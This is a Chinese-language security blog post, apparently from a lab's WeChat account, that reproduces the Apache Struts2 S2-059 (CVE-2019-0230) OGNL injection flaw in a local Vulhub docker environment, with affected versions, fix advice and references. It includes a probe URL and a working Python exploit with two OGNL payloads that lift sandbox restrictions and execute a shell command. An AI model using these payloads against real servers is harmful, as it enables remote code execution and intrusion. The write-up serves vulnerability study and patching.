Apache Struts2–059远程代码执行漏洞复现

  • A+
所属分类:安全文章


网安引领时代,弥天点亮未来   






 

Apache Struts2--059远程代码执行漏洞复现

0x00漏洞简述


 2020年08月13日,Apache官方发布了Struts2远程代码执行漏洞的风险通告,该漏洞编号为CVE-2019-0230,漏洞等级:高危,漏洞评分:8.5。
漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。


Apache Struts2--059远程代码执行漏洞复现

0x01影响版本


Apache Struts2:2.0.0-2.5.20


Apache Struts2--059远程代码执行漏洞复现

0x02漏洞复现


虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、访问漏洞环境

    Apache Struts2--059远程代码执行漏洞复现               

2、POC验证,传入ognl表达式的poc: %{yun*zui} 这里需要URL编码

Apache Struts2--059远程代码执行漏洞复现

http://192.168.60.131:8080/?id=%25%7Byun*zui%7D

从测试结果可以看到id属性返回了yun*zui的结果,漏洞存在!

Apache Struts2--059远程代码执行漏洞复现

Apache Struts2--059远程代码执行漏洞复现

3、简单python脚本进行漏洞利用

import requestsurl ="http://192.168.60.131:8080"data1 = {    "id":"%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"}data2 = {   "id":"%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@[email protected]_MEMBER_ACCESS)).(@[email protected]().exec('touch/tmp/yunzui'))}"}res1 =requests.post(url, data=data1)# print(res1.text)res2 = requests.post(url,data=data2)# print(res2.text)

运行完脚本之后,将远程执行

touch/tmp/yunzui


Apache Struts2--059远程代码执行漏洞复现

4、命令执行结果进入docker查看,成功执行

docker-compose exec struts2 bashls -al /tmp


Apache Struts2--059远程代码执行漏洞复现


Apache Struts2--059远程代码执行漏洞复现

0x03修复建议


升级到Struts2.5.22或更高版本

或者开启ONGL表达式注入保护措施

       

Apache Struts2--059远程代码执行漏洞复现

0x04参考链接


https://cert.360.cn/warning/detail?id=d2b39f48fd31f3b36cc957f23d4777af

https://cwiki.apache.org/confluence/display/WW/S2-059

https://codeload.github.com/vulhub/vulhub/zip/master




Apache Struts2--059远程代码执行漏洞复现 

知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,

予以风动,
必降弥天之润!


   弥  天

安全实验室

Apache Struts2--059远程代码执行漏洞复现



本文始发于微信公众号(弥天安全实验室):Apache Struts2--059远程代码执行漏洞复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: